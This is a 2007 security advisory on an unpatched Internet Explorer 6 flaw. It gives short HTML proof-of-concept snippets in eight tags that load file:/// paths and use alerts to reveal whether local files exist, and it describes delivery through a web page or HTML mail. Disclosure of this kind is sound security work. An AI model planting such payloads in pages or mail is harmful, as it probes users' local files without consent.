Microsoft Internet Explorer Local File Accesses Vulnerability

2007.02.21
Risk: High
Local: Yes
Remote: No
CWE: N/A

##################################################################### XDisclose Advisory : XD100099 Vulnerability Discovered : February 10th 07 Advisory Released : February 20th 07 Credit : Rajesh Sethumadhavan Class : Local File Accesses Severity : Critical Solution Status : Unpatched Vendor : Microsoft Corporation Affected applications : Microsoft Internet Explorer Affected version : Microsoft Internet Explorer 6 confirmed (Other versions may be also affected) Affected Platform : Windows XP Professional SP0,SP1,SP2 Windows Home Edition SP0,SP1,SP2 Windows 2003 ##################################################################### *Overview:* Microsoft Internet Explorer is a default browser bundled with all versions of Microsoft Windows operating system. *Description: *A vulnerability has been identified in Microsoft Internet Explorer, (default installation) in windows XP service pack 2 which could be exploited by malicious users to obtain victims local files. This flaw is due to an error in the way Microsoft Internet explorer handles different html tags. Which could be exploited by a malicious remote user to obtain sensitive local files from the victim's computer. *Vulnerability Insight :* Microsoft Windows explorer is not handling various html tags like "img" "script" "embed" "object" "param" "style" "bgsound" "body" "input" (Other tags may be also vulnerable). By using the file protocol along with above tags it is possible to accesses victims local files. *a)* Embed Tag Local file Accesses: --------------------------------------------------------------------- <EMBED SRC="file:///C:/test.pdf" HEIGHT=600 WIDTH=1440></EMBED> --------------------------------------------------------------------- *b) *Object & Param Tag Local File Accesses: --------------------------------------------------------------------- <object type="audio/x-mid" data="file:///C:/test.mid" width="200" height="20"> <param name="src" value="file:///C:/test.mid"> <param name="autoStart" value="true"> <param name="autoStart" value="0"> </object> --------------------------------------------------------------------- *c)* Body Tag Local File Accesses: --------------------------------------------------------------------- <body background="file:///C:/test.gif" onload="alert('loading body bgrd success')" onerror="alert('loading body bgrd error')"> --------------------------------------------------------------------- *d)* Style Tag Local File Accesses: --------------------------------------------------------------------- <STYLE type="text/css">BODY{background:url("file:///C:/test.gif")} </STYLE> --------------------------------------------------------------------- *e)* Bgsound Tag Local File Accesses: --------------------------------------------------------------------- <bgsound src="file:///C:/test.mid" id="soundeffect" loop=1 autostart= "true"/> --------------------------------------------------------------------- *f)* Input Tag Local File Accesses: --------------------------------------------------------------------- <form> <input type="image" src="file:///C:/test.gif" onload="alert('loading input success')" onerror="alert('loading input error')"> </form> --------------------------------------------------------------------- *g)* Image Tag Local File Accesses: --------------------------------------------------------------------- <img src="file:///C:/test.jpg" onload="alert('loading image success')" onerror="alert('loading image error')"> --------------------------------------------------------------------- *h)* Script Tag Local File Accesses: --------------------------------------------------------------------- <script src="file:///C:/test.js"></script> --------------------------------------------------------------------- *Exploitation method:* - Creates a web page or an HTML Mail with the vulnerable code - When the victim opens the mail or visit the vulnerable site it is possible to accesses his local files. *Demonstration:* Note: Demonstration will try to accesses few default images and wave files - Visit the POC - If vulnerable internet explorer is used it will show your local sample images and give a proper alert. *Solution:* No solution *Screenshot: *http://www.xdisclose.com/images/xdiscloselocalie.jpg *Proof Of Concept:* http://www.xdisclose.com/poc/xdiscloselocalie.html *Impact:* A Remote user can get accesses to victims local system files. Scope of impact is limited to system level. *Original Advisory: *http://www.xdisclose.com/XD100099.txt *Credits:* Rajesh Sethumadhavan has been credited with the discovery of this vulnerability *Disclaimer:* This entire document is strictly for educational, testing and demonstrating purpose only. Modification use and/or publishing this information is entirely on your own risk. The exploit code is to be used on your testing environment only. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.


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